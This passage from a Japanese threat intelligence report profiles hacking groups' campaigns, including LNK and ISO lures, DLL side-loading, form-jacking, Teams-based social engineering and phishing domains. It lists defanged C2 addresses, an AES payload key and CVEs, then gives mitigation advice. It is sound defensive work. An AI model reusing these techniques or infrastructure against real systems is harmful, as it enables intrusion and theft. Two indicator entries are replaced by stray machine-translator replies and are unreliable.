として偽装した Adobe PDF ファイルを実行し、画面に表示した。 

 

 

[図 38: サイバーセキュリティにおけるガイドライン文書として偽装したアドビ PDF ファイルを実行

した画面] 

 

このグループは、ターゲットシステムで自動実行レジストリに登録された普通のファイルを実行し、

DLL サイドローディング技法を悪用してダウンロード機能付きの悪性の DLL ファイルをロード及び

実行した。そして、この悪性の DLL ファイルを通じて追加のマルウェアをダウンロード及び実行し、

今後の攻撃のための足場を固めた。 

 

Related Events 

⚫ SectorH03 used LNK malware with the filename US China standoff 

Opportunity for India Chadha 

https://cti.nshc.net/events/view/12246 

 

⚫ SectorH03 used a new Domains 

https://cti.nshc.net/events/view/12305 

 

https://cti.nshc.net/events/view/12246
https://cti.nshc.net/events/view/12305
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⚫ SectorH03 used a new Domains 

https://cti.nshc.net/events/view/12446 

 

⚫ SectorH03 used a new Domains 

https://cti.nshc.net/events/view/12558 

 

⚫ SectorH03 used LNK malware disguised as Cybersecurity Guidelines 

https://cti.nshc.net/events/view/12962 

 

⚫ SectorH03 used a new Domains 

https://cti.nshc.net/events/view/12737 

 

⚫ SectorH03 used Excel malware variants 

https://cti.nshc.net/events/view/12742 

 

⚫ SectorH03 used Phishing Sites Disguised as Indian Gov Sites 

https://cti.nshc.net/events/view/12744 

 

 

6. SectorQの支援によって活動を行っているハッキンググループの活動 

 

1) SectorQ02グループ 

 

アメリカ政府の支援によって活動を行っているハッキンググループの中で、SectorQ02 グループは、

いわゆる「Equation」としても知られている。 

このグループは、中国の大学を含む航空宇宙及び科学技術関連機関をターゲットにして高度なサイバ

ー作戦を実行し、ターゲットシステムに NOPEN バックドアのようなカスタムマルウェアを挿入して

長期的なリモートコントロールを可能にした。この攻撃はアメリカ NSA の勤務時間（米東部時間午

前 9 時～午後 4 時）に集中しており、攻撃者は英語のオペレーティングシステム環境とアメリカ式

キーボード設定を使用していたと分析されている。 

このグループは、FOXACID と QUANTUM フレームワークを組み合わせて、ユーザーのブラウザト

ラフィックを傍受する中間者（MITM）攻撃を実行し、それを通じてターゲットが訪問する正常なウ

ェブサイトにマルウェアペイロードを挿入した。そして、NOPEN バックドアや SECONDDATE、

ISLAND などのツールを利用して被害システムに密かにアクセスし、手動操作を通じてネットワーク

内部での追加拡散を試みた。 

https://cti.nshc.net/events/view/12446
https://cti.nshc.net/events/view/12558
https://cti.nshc.net/events/view/12962
https://cti.nshc.net/events/view/12737
https://cti.nshc.net/events/view/12742
https://cti.nshc.net/events/view/12744
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[図 39: SectorQ02 グループが利用したネットワークトラフィック操作ツールである

SECONDDATE ツール] 

 

NOPEN は暗号化されたコマンド及びコントロール（Command and Control, C2）チャネルを通じ

て攻撃者のインフラと継続的に通信し、感染したシステム内でファイルを転送し、コマンドを実行す

る機能が含まれている。特に、攻撃中にあるオペレーターが自動化ツールである PyScript を実行す

るプロセスでパラメータを修正しなかったため、内部ディレクトリパスとスクリプト名が漏洩すると

いうミスも犯した。 

このグループは最終的にターゲットシステムにルート権限でアクセスし、カーネルレベルで持続性を

確保し、機密情報を漏洩させることで、中国内の研究機関に重大なセキュリティ脅威を与えたと評価

されている。 

 

Related Events 

⚫ SectorQ02 used various malware to exploit university network infrastructure 

https://cti.nshc.net/events/view/12791 

 

 

7. SectorRの支援によって活動を行っているハッキンググループの活動 

 

1) SectorR02グループ 

 

台湾政府の支援によって活動を行っているハッキンググループの中で、SectorR02 グループは、い

わゆるグリーンスポット(Green Spot)としても知られており、中国からハッキング活動が確認され

た。 

このグループは、中国のIT企業であるNetEaseの無料メールサービス163.comのユーザーをターゲ

ットにしてフィッシングキャンペーンを展開した。このグループは163.comの合法的なサービスを

https://cti.nshc.net/events/view/12791
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模倣した偽のドメインを登録し、それを通じてマルウェアのログインページと偽のダウンロードペー

ジをホスティングした。 

 

 

[図 40: NetEase の無料メールサービスを模倣したフィッシングページ] 

 

このページは、ターゲットのメールアカウントにアクセスし、機密情報を収集するために、ターゲッ

ト者にログイン資格情報を入力させ、ログイン資格情報を奪取した。 

 

Related Events 

⚫ SectorR02 used a Phishing Page with Login-Required Downloads 

https://cti.nshc.net/events/view/12484 

 

 

8. SectorSに支援されているハッキンググループの活動 

 

1) SectorS01グループ 

 

ベネズエラ政府の支援によって活動を行っているハッキンググループの中で、SectorS01 グループ

は、いわゆるブラインドイーグル（Blind Eagle）としても知られており、イタリアからハッキング

活動が確認された。 

このグループは、サミット関連の文書として偽装した Windows ショートカット（LNK）ファイルを

配布して攻撃活動を行った。 

このグループは、ターゲットシステムで実行した Windows ショートカットファイルを通じて

PowerShell コマンドを実行し、wget というダウンロードツールを使用してリモートからマルウェ

アバッチファイルをダウンロードして実行した。 

 

https://cti.nshc.net/events/view/12484
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[図 41: サミット関連の文書として偽装した Windows ショートカットファイルに含まれた

PowerShell コマンドの一部] 

 

このグループは、ターゲットシステムで実行したバッチファイルを通じて PowerShell コマンドを実

行し、暗号化されたペイロードをユーザーのコンソールタイトルから取得して AES 復号化及び解凍

した後、メモリ上で実行した。。 

 

[SectorS01グループが使用した暗号化ペイロードを復号化するために使用された AES IV 及びキ

ー情報] 

⚫ AES IV: YquTFTStDbPiAMR42MerxQ== 

⚫ AES キー: ZZHOrJbYOb/bitsWaw6ENfy94+2QjgQPCo9s1EdwgoA= 

 

このグループは、ターゲットシステムのメモリ上で実行されたリモート制御機能付きのマルウェアを

通じて、コマンド＆コントロール（C2）サーバーからコマンドを受信し、悪性行為を行った。 

 

Related Events 

⚫ SectorS01 used LNK malware disguised as Summit-related file 

https://cti.nshc.net/events/view/12804 

 

 

9. SectorUの支援によって活動を行っているハッキンググループの活動 

 

1) SectorU01グループ 

 

カザフスタン政府の支援によって活動を行っているハッキンググループの中で、SectorU01 グルー

プは、いわゆるヨロトルーパー（YoroTrooper）としても知られており、ロシア、スペイン、ウズベ

キスタン、インド、アメリカ、香港、チェコ、キルギス、トルクメニスタンからハッキング活動が発

見された。 

https://cti.nshc.net/events/view/12804
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このグループは中央アジアの諸国の政府機関をターゲットに、マルウェアが含まれた ISO ファイル

を添付したフィッシングメールを送信し、初期アクセスを試みました。この ISO ファイルには、マ

ルウェアの C++ローダーと共に国連（UN）に関するファイルが含まれており、実行時に

PowerShell スクリプトを通じてリモートアクセスツールをインストールした。 

 

 

[図 42: 国連(UN)をテーマにしたおとりファイルの実行画面] 

 

また、このグループは Go 言語（Golang）で作成されたリバースシェルペイロードを活用して、対

象システムへの持続的なアクセスを確保し、機密情報を収集した。 

このグループは、最終的にターゲットシステムで実行したマルウェアを通じて敏感な情報を収集し、

システムレジストリを修正して持続性を確保することにより、中央アジア地域に深刻なサイバースパ

イの脅威を与えることができた。 

 

Related Events 

⚫ SectorU01 used ISO malware disguised as a Invitation 

https://cti.nshc.net/events/view/12540 

 

 

https://cti.nshc.net/events/view/12540
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10. SectorJの支援によって活動を行っているハッキンググループの活動 

 

1) SectorJ09グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ09 グループは、いわゆるメイジカート

（MageCart）として知られている。 

このグループはオンライン決済ページをターゲットにスキミングスクリプトを挿入し、ターゲットが

入力した金融関係の情報を奪取するフォームジャッキング攻撃を実行した。 

このグループは、電子商取引ウェブサイトの決済ページにマルウェアの JavaScript コードを注入し、

ターゲットから入力されたカード番号、有効期限、CVC コードなどの機密金融データを窃取したと

分析されている。 

 

 

[図 43: スキミングスクリプトが挿入されたホームページの一部] 
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[図 44: 注入されたスキミングスクリプトのソースコードの一部] 

 

Related Events 

⚫ SectorJ09 used a new Domainsa for FormJacking Attack 

https://cti.nshc.net/events/view/12299 

 

⚫ SectorJ09 used new Domains for a FormJacking Attack  

https://cti.nshc.net/events/view/12411 

 

⚫ SectorJ09 used new Domains for FormJacking Attack against eCommerce 

CMS Platforms 

https://cti.nshc.net/events/view/12691 

 

2) SectorJ14グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ14 グループは、いわゆるローミング・マーティス

（Roaming Martis）としても知られており、韓国、ドイツ、アメリカ、インド、日本、フランスか

らハッキング活動が確認された。 

このグループは、宅配サービスの通知として偽装したスミッシング（Smishing）技法を使用して、

Twitter の短縮 URL をターゲットに送信した。 

ターゲットが短縮 URL にアクセスすると、マルウェア URL にリダイレクトされ、Chrome ブラウザ

アプリケーションとして偽装した Android マルウェアをダウンロードするよう誘導された。 

ダウンロードされたマルウェアは、ターゲットにメッセージ及び通知表示の権限を許可するよう促し、

スパム防止を口実にそのマルウェアをデフォルトの SMS アプリとして設定するようにした。 

 

https://cti.nshc.net/events/view/12299
https://cti.nshc.net/events/view/12411
https://cti.nshc.net/events/view/12691
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[図 45: Android マルウェアのメッセージ及び通知表示の権限を要求するコード] 

 

初期権限の設定が完了すると、ターゲットのデバイスにはフィッシングメッセージを表示するための

通知チャンネルが作成される。そして、このグループがフィッシングメッセージを送信すると、メッ

セージがその通知チャンネルを通じて表示され、ターゲットがフィッシングメッセージをクリックす

るように誘導された。 

また、このグループはソーシャルメディアプラットフォームの一つである Pinterest のプロフィール

に登録されたデータを活用して、フィッシングメッセージを構成し送信したと分析されている。 

 

 

[図 46: フィッシングリンクが挿入された Pinterest プロファイルの一部] 

 

Related Events 

⚫ SectorJ14 distributed Android Malware via SMS message disguised as 

courier service alarms 

https://cti.nshc.net/events/view/13486  

https://cti.nshc.net/events/view/13486
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3) SectorJ21グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ21 グループは、いわゆるレッドカール（RedCurl）

としても知られており、アメリカやカナダからハッキング活動が確認された。 

このグループはフィッシングメールを通じて PDF ファイルを添付して送信し、PDF ファイル内には

ZIP 圧縮ファイルをダウンロードできるリンクが含まれていると分析されている。 

 

 

[図 47: SectorJ21 グループによる PDF ファイル形式のマルウェア攻撃のプロセス] 

 

ターゲットがこのリンクをクリックして ZIP ファイルをダウンロードして解凍すると、その中には

ディスクイメージ形式の IMG ファイルが含まれている。 

ターゲットが IMG ファイルを実行すると、外部ドライブとしてマウントされ、ファイルエクスプロ

ーラーを通じて自動的に開かれる。 

 

 

[図 48: IMG ファイル実行した時にマウントされるファイル] 

 

マウントされたドライブには、SCR 拡張子を持つスクリーンセーバーファイルが含まれており、こ

れは Adobe アイコンに偽装されているため、ターゲットが普通のファイルと誤認して実行するよう

に誘導した。 

ターゲットがこの SCR ファイルを実行すると、同じパスに存在するマルウェア DLL ファイルがロー

ドされ、これは DLL サイドローディング（DLL Side-Loading）手法を通じて実行される。 

ロードされたマルウェアはシステム情報を収集した後、それを暗号化してクラウドストレージサービ

スの一つであるタブデジタル（Tab Digital）にアップロードする機能を実行した。 
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[コマンド及びコントロール(Command and Control, C2) サーバー] 

⚫ sm.vbigdatasolutions[.workers.dev 

⚫ community[.rmobileappdevelopment.workers.dev 

⚫ datascience[.iotconnectivity.workers.dev 

⚫ live.itsmartuniverse[.workers.dev 

 

Related Events 

⚫ SectorJ21 used a legitimate Adobe executable to sideload malware 

https://cti.nshc.net/events/view/12746 

 

4) SectorJ25グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ25 グループは、いわゆる TeamTNT としてに知

られており、インドからハッキング活動が確認された。 

このグループは、ネットワーク分析プログラムに偽装するために、圧縮ファイル名を

「NetworkAnalyzer.tar.gz」に設定して配布したと見られている。 

この圧縮ファイル内には ELF 形式のマルウェアが含まれており、このマルウェアは GitHub を通じて

ソースコードが公開されている CHAOS リモートコントロールマルウェアであると分析されている。 

このマルウェアは、リモートでコマンドを実行し、ターゲットシステムのデータを窃取する機能を持

っていると分析されている。 

 

 

[図 49: カオス(CHAOS) リモートコントロールの GitHub の画面] 

 

https://cti.nshc.net/events/view/12746
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[コマンド及びコントロール(Command and Control, C2) サーバー] 

⚫ 176[.65[.141[.63 

 

Related Events 

⚫ SectorJ25 used ELF Malware disguised as NetworkAnalyzer 

https://cti.nshc.net/events/view/12688 

 

5) SectorJ85グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ85 グループは、いわゆるスキャッタードスパイダ

ー（SCATTERED SPIDER）としても知られている。 

このグループは、企業向けクラウドベースの認証サービス（Identity-as-a-Service、IDaaS）の一

つである Okta に基づいたログインページとして偽装したフィッシングサイトを配布した。 

こののフィッシングサイトは、普通の Okta ログインページのドメインとスペルや構造が似ているド

メインを登録するタイポスクワッティング（Typo squatting）手法を利用し、ターゲットが正常な

ログインページと誤認して資格情報を入力するように誘導した。 

 

 

[図 50: ログインページとして偽装したフィッシングページ] 

 

[フィッシングドメイン] 

⚫ Revolut-okta[.com 

https://cti.nshc.net/events/view/12688
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⚫ The text "okta-revolut[.com" does not contain any translatable content as it 

appears to be a domain name or URL. Domain names are typically not translated. 

If you need further assistance or context, please let me know! 

 

Related Events 

⚫ SectorJ85 used Phishing Domains and Ransomware 

https://cti.nshc.net/events/view/12860  

 

6) SectorJ102グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ102 グループは、いわゆる XE グループ（XE 

Group）としても知られており、アメリカ、インドからハッキング活動が確認された。 

このグループは、ベラコア（Vera Core）ソフトウェアの SQL インジェクション脆弱性とファイル

アップロード脆弱性を悪用したと分析されている。 

このグループは脆弱性を悪用してウェブシェルをターゲットシステムに配布し、このウェブシェルは

SQL コマンドの実行及びデータベースサーバー内部の探索機能の実行ができると分析されている。 

 

 

[図 51: ウェブシェルスクリプトの一部] 

 

 

https://cti.nshc.net/events/view/12860
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[図 52: ウェブシェルを実行した画面] 

 

[SectorJ102グループが悪用した脆弱性] 

⚫ CVE-2024-57968 - Advantive VeraCore ファイルアップロードの脆弱性 

⚫ CVE-2025-25181 - Advantive VeraCore SQL インジェクション脆弱性 

 

Related Events 

⚫ SectorJ102 exploited Advantage VeraCore Vulnerability 

https://cti.nshc.net/events/view/12443  

  

7) SectorJ110グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ110 グループは、いわゆる UAC-0006 としても

知られており、ドイツ、リトアニア、ベルギー、ウクライナからハッキング活動が確認された。 

このグループは PDF 形式のフィッシングファイルを配布し、ターゲットが「ファイルダウンロード

（Завантажити Документ）」ハイパーリンクをクリックするように誘導した。 

 

 

[図 53: SectorJ110 グループによる PDF ファイル形式のマルウェア攻撃のプロセス] 

 

 

[図 54: ハイパーリンクテキストをクリックするように誘導するフィッシングファイル] 

 

https://cvepremium.circl.lu/cve/CVE-2024-57968
https://cvepremium.circl.lu/cve/CVE-2025-25181
https://cti.nshc.net/events/view/12443
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ターゲットシステムに ZIP 圧縮ファイルがダウンロードされ、その圧縮ファイルの内部には PDF フ

ァイルのように見せかけた二重拡張子（.pdf.js）形式の JavaScript（JS）形式のマルウェアが含ま

れている。 

ターゲットが添付された JavaScript を実行すると、外部のコマンド＆コントロール（Command & 

Control, C2）サーバーからローダー機能を果たすマルウェアをダウンロード及び実行し、同時にタ

ーゲットが疑わないように普通の内容のおとりファイルも一緒にダウンロードして画面に表示した。 

 

 

[図 55: ターゲットの疑いを避けるために実行されたおとりファイル] 

 

Related Events 

⚫ SectorJ110 distributed Loader Malware via payment-related phishing emails 

https://cti.nshc.net/events/view/12617 

 

8) SectorJ177グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ177 グループは、いわゆる STAC5777 としても

知られており、メキシコ、アメリカ、ハンガリーからハッキング活動が確認された。 

このグループは、MicrosoftTeams を通じてターゲットに技術サポートを装ったメッセージを送信し、

スパム問題を解決するために MicrosoftQuick Assist をインストールするよう誘導した。 

https://cti.nshc.net/events/view/12617
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ターゲットがクイックアシストをインストールし、ハッキンググループにリモート制御権限を与える

と、このグループはウェブブラウザを通じて ZIP 圧縮ファイル形式のマルウェアペイロードをダウ

ンロードした。 

圧縮ファイルの内部には、Microsoft によって署名された OneDrive（ワンドライブ）アップデート

実行ファイル（OneDriveStandaloneUpdater.exe）と複数の DLL ファイルが含まれています。こ

のグループは DLL サーチオーダーハイジャック技法を利用して、DLL 形式のマルウェアを実行した。 

これは、システムが実行ファイルと共にある DLL ファイルを優先的にロードする Windows の DLL

検索の順番を悪用する方法で、攻撃者は悪性の DLL を合法的な実行ファイルと同じディレクトリに

配置することにより、正常なプログラムの実行時に自動的に悪性の DLL がロードされるように誘導

した。 

この DLL 形式のマルウェアは、実行時にシステム及びオペレーティングシステム情報、ユーザーア

カウント及び資格情報、キーボード入力値などを収集し、コマンド＆コントロール（Command 

and Control, C2）サーバーに送信する機能を果たすと分析されている。 

 

 

[図 56: キーボード入力値を収集するソースコード] 

 

[コマンド及びコントロール(Command and Control, C2) サーバー] 

⚫ 89[.185.80.86 

⚫ 207[.90.238.52 

⚫ 185[.190.251.16 

⚫ 74[.178.90.36 

⚫ 207[.90.238.46 

⚫ 195[.123.241.24 

⚫ 78[.46.67.201 

 

Related Events 
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⚫ SectorJ177 distributed Malware via Teams and Quick Assist 

https://cti.nshc.net/events/view/12431  

 

9) SectorJ195グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ195 グループは、いわゆる STAC5143 としても

知られており、アメリカ、ブルガリアからハッキング活動が確認された。 

このグループは、ターゲットに大量のスパムメッセージを送信した後、Microsoft Teams を通じて

ターゲットに通話を試み、Teams のリモート画面制御セッションを許可するよう誘導した。 

ターゲットがリモート画面共有を許可すると、このグループはコマンドシェルでマルウェア JAR

（Java Archive）ファイルを実行し、そのファイルは Java ベースのプロキシモジュールを通じて

WMI コマンドラインユーティリティ（Windows Management Instrumentation Command-line, 

WMIC.exe）を呼び出し、Java プロセスのプロセス ID を識別する作業を行うと分析されている。 

そして、JAR ファイルは PowerShell の実行ポリシー（ExecutionPolicy）を回避し、外部から ZIP

形式の圧縮ファイルと 7-Zip ユーティリティをダウンロードし、圧縮ファイルを解凍した。 

圧縮ファイルには ProtonVPN 実行ファイルと悪性 DLL ファイルが含まれており、ProtonVPN 実行

ファイルをターゲットに DLL サイドローディング技法で実行した後、悪性 DLL ファイルをロードし

た。 

これにより、ロシア、オランダ、アメリカにホスティングされた仮想プライベートサーバーにアクセ

スするセッションが生成された。 

JAR ファイルは新しいコマンドプロンプト（Command Prompt、CMD）セッションを開き、Java 

SE ランチャー（Launcher、javaw.exe）を使用して別の JAR ファイルを実行した後、圧縮ファイ

ルをドロップした。 

このの圧縮ファイルには難読化された Python が含まれており、その Python スクリプトは RPivot

として知られているリバースプロキシツールであると分析された。 

 

 

[図 57: 難読化された Python スクリプトの一部] 

https://cti.nshc.net/events/view/12431
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このグループはこれを通じてターゲットの内部ネットワークに対してトンネリング及びプロキシ機能

を提供し、コマンド＆コントロール（Command & Control, C2）サーバーとの持続的なアクセスを

試みたと分析されている。 

 

Related Events 

⚫ SectorJ195 distributed Python Malware via Teams 

https://cti.nshc.net/events/view/12432 

 

10) SectorJ196グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ196 グループは、いわゆるクレイジーエビル

（Crazy Evil）としても知られている。 

このグループは、Web3 ユーザーをターゲットに、ソラナ（Solana）ブロックチェーン

（BlockChain）コミュニケーションツール配布サイトとして偽装されたフィッシングサイトを配布

した。 

このグループは、こののフィッシングサイトを通じて情報窃取型マルウェアであるインフォスティー

ラー（InfoStealer）を配布したと分析されている。 

特に、このフィッシングサイトはターゲットのオペレーティングシステム（OS）環境に応じて異な

る URL を通じてマルウェアをダウンロードするように誘導した。Windows 環境では Dropbox を使

用し、MacOS 環境では別の外部サーバーを通じてマルウェアをダウンロードしたことが明らかにな

った。 

 

https://cti.nshc.net/events/view/12432
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[図 58: ソラナ(Solana) ブロックチェーン(BlockChain) コミュニケーションツール配布サイトとし

て偽装したフィッシングサイト] 

 

[マルウェアをダウンロードする URL] 

⚫ The text you provided is a URL and does not contain any translatable content. 

URLs are typically not translated as they are meant to be accessed in their original 

form. If you have any other text that needs translation, please feel free to provide 

it. 

⚫ トークンフレームガバナンス[.]com 

 

Related Events 

⚫ SectorJ196 used Infostealer Malware targeting NFTs and Crypto 

https://cti.nshc.net/events/view/12447  

 

11) SectorJ197グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ197 グループは、いわゆる TAG-124 としても知

られており、グアテマラ、アメリカからハッキング活動が確認された。 

このグループは、Chrome ブラウザのアップデートサイトとして偽装したフィッシングサイトを配布

した。 

https://cti.nshc.net/events/view/12447
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ターゲットが「Update Chrome」ボタンをクリックすると、「Release.zip」という圧縮ファイルが

ダウンロードされ、その圧縮ファイルには DLL 形式のマルウェアが圧縮されていることが確認され

た。 

こののマルウェアは、ターゲットシステムのデータを奪取する機能付きのスティーラー（Stealer）

マルウェアであると分析される。 

 

 

[図 59: Chrome ブラウザのアップデートサイトとして偽装したフィッシングサイト] 

 

Related Events 

⚫ SectorJ197 used compromised WordPress domains disguised as fake Google 

Chrome update landing pages 

https://cti.nshc.net/events/view/12453  

 

12) SectorJ201グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ201 グループは、いわゆる TA2726 としても知ら

れている。 

このグループはトラフィック配信システム（Traffic Distribution System, TDS）サービスを運営し、

他のハッキンググループに悪性のトラフィック流入サービスを提供した後、金銭的利益を確保したと

分析されている。 

https://cti.nshc.net/events/view/12453
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この TDS インフラは、訪問者のシステム環境に応じて条件付きでトラフィックをフィルタリング及

びリダイレクトする機能を果たし、適切なターゲットにマルウェアを含むペイロードを配信する役割

を果たしていると判断されている。 

 

[SectorJ201グループが提供した TDSドメイン] 

⚫ レッドノーズホース[.com] 

⚫ blackshelter[.org 

⚫ askforupdate[.org] 

 

Related Events 

⚫ SectorJ201 used TDS to Deliver Stealer Malware on Compromised Sites 

https://cti.nshc.net/events/view/12748  

 

13) SectorJ202グループ 

 

サイバー犯罪ハッキンググループの中で、SectorJ202 グループは、いわゆる TA2727 としても知ら

れており、オランダ、アメリカ、インド、フランス、ポーランドからハッキング活動が確認された。 

このグループは、Chrome ブラウザのアップデートを装ったフィッシングページを配布し、ターゲッ

トが悪性の MSI（Microsoft Installer）ファイルをダウンロードするように誘導した。 

この MSI ファイルは普通のプログラムと共に悪性の DLL が含まれている形で構成されており、DLL

サイドローディング（Side-Loading）技法を通じて悪性の DLL がロードされる。 

ターゲットシステムで最終的にスティーラー(マルウェア)が実行され、このグループはターゲットシ

ステムのデータを奪取しようとしたと分析されている。 

 

[コマンド及びコントロール(Command and Control, C2) サーバー] 

⚫ chokedetailke[.click 

⚫ abruptyopsn[.shop 

⚫ cloudewahsj[.shop 

⚫ wholersorie[.shop 

⚫ noisycuttej[.shop 

⚫ tirepublicerj[.shop 

⚫ rabidcowse[.shop 

⚫ framekgirus[.shop 

⚫ nearycrepso[.shop 

 

https://cti.nshc.net/events/view/12748
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Related Events 

⚫ SectorJ202 used Fake Update Tactic to Deploy DOILoader Malware 

https://cti.nshc.net/events/view/13296 

 

 

 

  

https://cti.nshc.net/events/view/13296


70 Cyber Threat Intelligence Report 

 NSHC©2024 All rights reserved. 

Recommendation 

 

NSHC ThreatRecon チームは様々な目的のハッキンググループ(Threat Actor Group) 活動を分析

し、組織内部のセキュリティチームがハッキング活動における被害をさらに減らせるように共通的に

確認できる攻撃技術(technique)における MITRE ATT&CK の脅威緩和(Mitigations)項目を次のよう

にまとめた。 

 

1. 脆弱性保護 (Exploit Protection)  

ソフトウェアのエクスプロイト(Exploit)発生を誘導したり、発生の可能性を探知及びブロックす

るために脆弱性保護(Exploit Protection)のソリューション使用の検討が必要 

 

- エクスプロイト(Exploit)の動作の緩和のため、 WDEG(Windows Defender Exploit Guard)

及び EMET(Enhanced Mitigation Experience Toolkit)の使用の検討が必要 

- エクスプロイトのトラフィックがアプリケーションに辿り着くことを防止するため、Web ア

プリケーションのファイアウォール使用の検討が必要 

 

2. 脆弱性のスキャニング (Vulnerability Scanning) 

外部に漏出したシステムの脆弱性を定期的に検査し、致命的な脆弱性が見つかった場合、速やか

にシステムをパッチする手続きの検討が必要 

 

- 潜在的に 脆弱なシステムを新たに識別するため、定期的な内部ネットワークの検査の検討が

必要 

- 公開となった脆弱性における持続的なモニタリングの検討が必要 

- 実際のハッキンググループ(Threat Actor Group)が使用した脆弱性におけるセキュリティ強

化案件の検討が必要 

- このレポートの“Appendix”には実際の 実際のハッキンググループ(Threat Actor Group)が

使用した履歴がある脆弱性の情報が含まれている 

 

3. セキュリティ認識教育 (User Training) 

実際のハッキング及び侵害事故の事例を通じて注意すべきの状況について全社員が認知できるよ

うにセキュリティ認識教育の検討が必要 

 

- ソーシャルエンジニアリング(Social Engineering)技法とスピアフィッシング(Spear 

Phishing)E-Mail を識別できる教育の検討が必要 
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- ユーザーと管理者が多数のアカウントに同一なパスワードを使用しないように資格証明情報

の管理の重要性における教育の検討が必要 

- システムに保存したパスワードの危険性における教育の検討が必要 

- リポジトリにデータを保存する時に注意すべきの事項における教育の検討が必要 

- ブラウザの悪性の拡張プログラムが実行されないようにブラウザ管理における教育の検討が

必要 

- SMS、通話履歴、連絡先リストなどの敏感な情報のアクセス権限を要請する Android アプリ

ケーションについて注意喚起できるような教育の検討が必要 

- 非公式ページからアプリケーションをダウンロードしないように教育の検討が必要 

 

4. 脅威インテリジェンスプログラム(Threat Intelligence Program) 

ハッキンググループが使用しているマルウェアハッシュ(Hash)、IP 及びドメイン(Domain)情報

を含む IOC(Indicator of Compromise)が見つかった場合、通知を送信するように探知の設定の

検討が必要 

 

 

 

- IPS、IDS 及びファイアウォールのようなネットワークセキュリティ装備のログから IOC と

同一な通信 IP が見つかった場合 

- 組織内部の DNS サーバー、ウェブゲートウェイ(Web Gateway)及びプロキシ(Proxy)ウェ

ブ関係のシステムのログから IOC と同一なドメインが見つかった場合 

- EDR(Endpoint Detection and Response)のようなエンドポイントセキュリティソリューシ

ョンのログから PC 及びサーバーから IOC と同一なファイルハッシュ(Hash)が存在する場合 
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- 組織内部の様々なシステムのログを収集する SIEM(Security Information Event 

Management)から設定したユーズケース(Use Case)とルール(Rule)に IOC と同一なファイ

ルハッシュ、IP 及びドメインが存在する場合* 

 

5. ネットワークにおける脅威緩和 

1) ネットワーク侵入防止 (Network Intrusion Prevention) 

組織のネットワークにアクセスする悪意的なトラフィックを事前にブロックするために侵入探知

システム(Intrusion Detection System, IDS)及び侵入防止システム(Intrusion Prevention 

System, IPS)の使用の検討が必要 

 

- ネットワークレベルからハッキンググループの攻撃活動を緩和するため AitM(Adversary in 

the Middle)のトラフィックパターンが識別できる侵入探知システム(Intrusion Detection 

System, IDS)及び 侵入防止システム(Intrusion Prevention System, 

IPS)の使用の検討が必要 

- マルウェアが組織の内部ネットワークにアクセスしたり実行したりすることを防止するため、

ホスト型の侵入防止システム(HIPS, Host Intrusion Prevention System)、アンチウイルス

(Anti-Virus)などのソリューションの使用の検討が必要 

 

2) ネットワーク細分化 (Network Segmentation) 

組織の重要なシステム及び資産を隔離するため、ネットワークを物理的及び論理的ネットワーク

で分割し、セキュリティコントロール及びサービスがそれぞれの下位のネットワークごとに提供

できるようにネットワーク細分化(Network Segmentation)の使用の検討が必要 

 

- DMZ(Demilitarized Zone)及び別のホスティングインフラを使用して外部/内部ネットワー

クを分離する政策の使用の検討が必要 

- ハッキンググループのターゲットになりやすい組織の重要なシステム及び資産を識別し、無

断アクセス及び変造から該当のシステムを隔離し、保護する政策の使用の検討が必要 

- ネットワークのファイアウォールの構成から必要なポートとトラフィック以外は通信できな

いようにブロックする政策の検討が必要 

- ネットワークプロキシ、ゲートワイ及びファイアウォールを使用して内部システムにおける

直接的な遠隔アクセスを拒否する政策の使用の検討が必要 

- 侵入の探知、分析及び対応システムは別のネットワークから運営するように検討が必要 

 

6. ユーザーアカウントの脅威緩和 
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1) 多要素認証 (Multi-factor Authentication) 

組織の資産にアクセスできるパスワードが漏洩された場合＝にもハッキンググループがアクセス

することを防止するため、複数の段階で認証段階を構成する多要素認証(MFA, Multi-Factor 

Authentication)の使用の検討が必要 

 

2) アカウント使用政策 (Account Use Policies) 

アカウントのセキュリティ設定に関した政策設定の検討が必要 

 

- 企業の内部から業務用として活用している Windows PC のログインユーザーアカウントのパ

スワードを英語のアルファベットの大文字、小文字及び記号を含んでなるべく 8 桁以上で設

定するように検討が必要 

- Windows のアクティブディレクトリ(Active Directory)として構成された環境では、グルー

プ政策(Group Policy)通じて企業の内部ネットワークに繋がる Windows PC のゆーあーアカ

ウントのパスワードを英語のアルファベットの大文字、小文字及び記号を含んでなるべく 8

桁以上で設定するように構成し、3 か月ごとにパスワードが変更されるように政策使用の検

討が必要 

- 承認済みではないデバイスもしくは外部の IP からログインを防ぐよう、条件付きアクセス政

策使用の検討が必要 

- パスワードが推測されることを防ぐため、いくつかの回数のログイン失敗のあと、アカウン

トを凍結する政策使用の検討が必要 

 

3) 特権アカウント管理 (Privileged Account Management) 

アカウント資格証明によるリスクを最少化するため、管理者のアカウント及び権限が割り当てら

れた一般アカウントに関しての管理の検討が必要 

 

- リモートデスクトッププロトコル(Remote Desktop Protocol, RDP)を通じてログインでき

るグループリストからローカル管理者(Administrators)グループを取り除くことについて検

討が必要 

- 管理者のアカウント及び権限が割り当てられた一般のアカウントの間、資格証明の重複防止

のための政策の検討が必要 

- 低い権限レベルのユーザーが高いレベルのサービスを作ったり、実行できないように権限設

定の検討が必要 

- 資格証明の悪用による影響を最少化するため、サービスアカウントにおける権限の制限する

政策の検討が必要 
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7. エンドポイントの脅威緩和 

1) ソフトウェアアップデート(Update Software) 

エンドポイント(Endpoint)及びサーバーの OS とソフトウェアが最新バージョンでアップデート

されているか確認が必要であり、特に外部に漏出されたシステム及供給網の公的に繋がる恐れが

あるファイルの配布システム(Deployment Systems)における定期的なアップデートの検討が必

要 

 

2) OSの構成 (Operating System Configuration) 

ハッキンググループの晒された技術における被害を緩和するため、OS の構成の検討が必要 

 

- NTLM(New-Technology LAN 

Manager)ユーザー認証プロトコル、Wdigest 認証無効化の検討が必要 

- 業務及び運営に不要な場合、リムーバブルメディアを許容せず、制限する政策の検討が必要 

- 署名済みではないドライバーがインストールされないよう、制限する政策の検討が必要 

 

